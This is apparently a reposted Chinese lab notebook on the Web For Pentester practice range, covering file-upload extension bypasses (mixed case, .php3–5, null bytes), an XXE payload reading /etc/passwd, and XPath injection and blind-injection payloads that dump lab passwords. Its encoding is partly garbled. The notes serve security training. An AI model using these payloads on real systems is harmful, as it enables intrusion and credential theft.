$file = basename($_FILES['image']['name']); if (preg_match('/\.php$/',$file)) {DIE("NO PHP"); }可能是因?yàn)槭呛蠖薖HP進(jìn)行后綴檢查而不是前端,所以00截?cái)嘣跈z查之前就已經(jīng)生效,所以檢測(cè)的文件名確實(shí)是以.php結(jié)尾的,所以通不過(guò)檢查
大小寫混拼后綴.pHp可繞過(guò)
另外蟻劍那里有個(gè)連接類型為“PHP4”也可以考慮一下
官網(wǎng)提到的幾種繞過(guò)方法:
- 使用.php3、.php4或者是.php5后綴,一些服務(wù)器說(shuō)不定還支持
- 在.php后面使用一個(gè)Apache識(shí)別不了的后綴(例如.fuckyou),Apache識(shí)別不了可能會(huì)嘗試識(shí)別下一個(gè)后綴(但問(wèn)題是蟻劍也識(shí)別不了啊,可能和使用的工具有關(guān))
XML attacks
Example 1
原始參數(shù):?xml=<test>hacker</test>
盲猜是XXE
試試payload:?xml=<!DOCTYPE any[<!ENTITY js SYSTEM "file:///etc/passwd">]><test>&js;</test>
結(jié)果回顯:
“Hello Warning: simplexml_load_string(): Entity: line 1: parser error : Premature end of data in tag test line 1 in /var/www/xml/example1.php on line 4 Warning: simplexml_load_string(): ]> in /var/www/xml/example1.php on line 4 Warning: simplexml_load_string(): ^ in /var/www/xml/example1.php on line 4 ”
哦哦,原來(lái)是GET傳遞參數(shù),所以要URL編碼(涉及到了&等字符)
編碼一下就好
源碼:
$xml=simplexml_load_string($_GET['xml']); print_r((string)$xml);涉及到一個(gè)simplexml_load_string函數(shù)可以看看
Example 2
參數(shù)變成了?name=hacker
可能是XPath注入
果然是
先復(fù)習(xí)一下XPath的知識(shí)
輸入一個(gè)',報(bào)錯(cuò)誤了
輸入",沒(méi)有報(bào)錯(cuò),沒(méi)有回顯,可能是單引號(hào)閉合變量
前后主動(dòng)閉合,看看能不能爆出所有值:?name=']|//*|ss['
回顯:“hackerHello hackerpentesterlabadminHello admins3cr3tP4ssw0rd ”
雖然是所有都爆出來(lái)了,但是沒(méi)有分隔符,啥是啥也不知道
也可以00截?cái)?#xff0c;?name=' or 1=1]%00,也是永真條件
但是只能查詢當(dāng)前層次的所有節(jié)點(diǎn)
另外了解到另外一種全注的payload:
?name=' or 1=1]/parent::*/child::node()%00
其中parent::*用于選擇當(dāng)前節(jié)點(diǎn)的所有父節(jié)點(diǎn)
child::node()用于選擇所有子節(jié)點(diǎn)
源查詢代碼:$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
剩下倒是可以盲注,但是有時(shí)候也可以直接猜
因?yàn)槿⒌淖侄斡行┛雌饋?lái)像是密碼
所以可以試試猜原XML里有password節(jié)點(diǎn),并把他們注出來(lái):?name=']|//password%00
回顯:“pentesterlabs3cr3tP4ssw0rd”
類似的還有user、name等常見字段也可以試試
雖然都沒(méi)有分隔
簡(jiǎn)單盲注:
判斷第一個(gè)節(jié)點(diǎn)的名字的第一個(gè)字符是‘d’:
?name=hacker' and substring(name(/*[position()=1]),1,1)='d' and '1'='1
判斷第一個(gè)節(jié)點(diǎn)名字是“data”:
?name=hacker' and name(/*[position()=1])='data' and '1'='1
下略BLABLABLA
總結(jié)
以上是生活随笔為你收集整理的[NOTE] Web For Pentester靶场练习笔记的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: [NOTE] sqli-labs Adv
- 下一篇: perl 跨行匹配文件内容 双层过滤